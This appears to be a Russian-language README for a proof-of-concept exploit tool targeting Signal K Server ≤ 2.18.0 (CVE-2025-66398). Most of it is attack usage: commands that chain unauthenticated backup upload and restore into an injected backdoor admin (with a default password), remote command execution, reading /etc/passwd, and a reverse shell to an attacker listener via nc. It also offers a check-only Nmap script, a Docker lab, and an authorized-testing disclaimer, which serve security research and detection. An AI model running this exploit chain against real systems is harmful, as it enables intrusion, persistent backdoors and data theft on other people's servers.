CVE-2025-66398 — PoC RCE для Signal K Server ≤ 2.18.0
CVE-2025-66398 — это проблема Signal K Server, при которой неаутентифицированный злоумышленник может отравить состояние восстановления сервера через /skServer/validateBackup, затем перехватить конфигурацию через /skServer/restore, чтобы внедрить бэкдор-администратора и (опционально) получить RCE, переключив стратегию безопасности на подконтрольный злоумышленнику модуль Node.js.
Затронутые версии: Signal K Server ≤ 2.18.0
Воздействие (высокоуровнево): неаутентифицированное загрязнение состояния → внедрение бэкдор-администратора → удаленное выполнение кода (при восстановлении и перезапуске)
/skServer/validateBackup неаутентифицированные загрузки.http-signalk-cve-2025-66398.nse для использования в сетевых сканированиях (только проверка, без эксплуатации).git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/cve-2025-66398.git
cd CVE-2025-66398
go build -o exp cve-2025-66398.go
go install github.com/joshuavanderpoll/cve-2025-66398@latest
go run github.com/joshuavanderpoll/cve-2025-66398@latest -target http://127.0.0.1:8111
У этого PoC есть два режима:
-check, -command, -read-file и т. д. (рекомендуется только после первого успешного интерактивного режима)python3 cve-2025-66398.py -h
# или GoLang-сборка
./cve-2025-66398 -h
___ __ ___ ___ __ __ _______ ___
____ _____ __|_ ) \_ ) __|___ / / / /|__ / _ ( _ )
/ _\ V / -_)___/ / () / /|__ \___/ _ \/ _ \|_ \_, / _ \
\__|\_/\___| /___\__/___|___/ \___/\___/___//_/\___/
https://github.com/joshuavanderpoll/cve-2025-66398
usage: exp.py [-h] [-target URL] [-useragent UA] [-timeout SEC] [-target-os OS] [-signalk-dir DIR] [-check] [-admin-user USER] [-admin-pass PASS] [-backdoor-user USER] [-backdoor-pass PASS] [-command CMD]
[-read-file PATH] [-write-file CONTENT PATH] [-code CODE] [-shell] [-lhost HOST] [-lport PORT]
CVE-2025-66398 -- Signal K State Pollution -> Backdoor -> RCE
options:
-h, --help show this help message and exit
-target URL Base URL of the Signal K server
-useragent UA User-Agent header for all HTTP requests
-timeout SEC Request timeout in seconds (default: 10)
-target-os OS Target server OS for payload/path adaptation: linux (default) or windows
-signalk-dir DIR Override the Signal K data directory on the target (default: OS-dependent)
-check Test if the target is vulnerable without exploiting it
-admin-user USER Admin username for Phase 2 restore
-admin-pass PASS Admin password for Phase 2 restore
-backdoor-user USER Backdoor username to inject (default: backdoor)
-backdoor-pass PASS Backdoor password to inject (default: H4CK1nd3x!)
-command CMD Execute a command on the server (non-interactive)
-read-file PATH Read a remote file via RCE
-write-file CONTENT PATH
Write CONTENT to PATH on the server via RCE
-code CODE Inject raw Node.js code as the security module
-shell Deploy a reverse shell (requires -lhost and -lport)
-lhost HOST Listener host for reverse shell
-lport PORT Listener port for reverse shell
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -check
# или GoLang-сборка
./cve-2025-66398 -target http://127.0.0.1:3000 -check
Включен отдельный скрипт Nmap, выполняющий такой же неаутентифицированный зонд — без эксплуатации.
# Против известного порта Signal K
nmap -p 3000 --script ./http-signalk-cve-2025-66398.nse <target>
# Установить системно и запускать без пути
sudo cp http-signalk-cve-2025-66398.nse $(nmap --datadir)/scripts/
sudo nmap --script-updatedb
nmap -p 3000 --script http-signalk-cve-2025-66398 <target>
Пример вывода:
PORT STATE SERVICE
9360/tcp open unknown
| http-signalk-cve-2025-66398:
| state: VULNERABLE
| title: Signal K Server Unauthenticated Backup Upload leading to RCE
| IDs: CVE-2025-66398
|_ references: https://github.com/joshuavanderpoll/cve-2025-66398 | https://www.cve.org/CVERecord?id=CVE-2025-66398
python3 cve-2025-66398.py -target http://127.0.0.1:3000
# или GoLang-сборка
./cve-2025-66398 -target http://127.0.0.1:3000
Скрипт выполнит:
.backup на /skServer/validateBackup (без аутентификации)/skServer/restoreЗапустить полную цепочку (Фазы 1 → 3) и выполнить команду:
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
# или GoLang-сборка
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -command "id"
Чтение удаленного файла (Фаза 3):
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
# или GoLang-сборка
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -read-file /etc/passwd
Обратный шелл (Фаза 3):
nc -lvnp 4444
python3 cve-2025-66398.py -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
# или GoLang-сборка
./cve-2025-66398 -target http://127.0.0.1:3000 -admin-user <ADMIN_USER> -admin-pass <ADMIN_PASS> -shell -lhost <YOUR_IP> -lport 4444
Примечания:
-admin-user/-admin-pass, скрипт предполагает, что учетная запись бэкдора уже активна с предыдущего запуска.backdoor / H4CK1nd3x! (переопределить с помощью -backdoor-user / -backdoor-pass).-signalk-dir <DIR>.Автономная среда Docker Compose с уязвимым ПО для локального тестирования. Подробнее см. в DOCKER.md
cd docker/
docker compose up -d
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360 -check
python3 ../cve-2025-66398.py -target http://127.0.0.1:9360
Этот PoC предназначен только для образовательного и авторизованного тестирования безопасности. Не запускайте его против систем, которые вам не принадлежат или на тестирование которых у вас нет явного разрешения.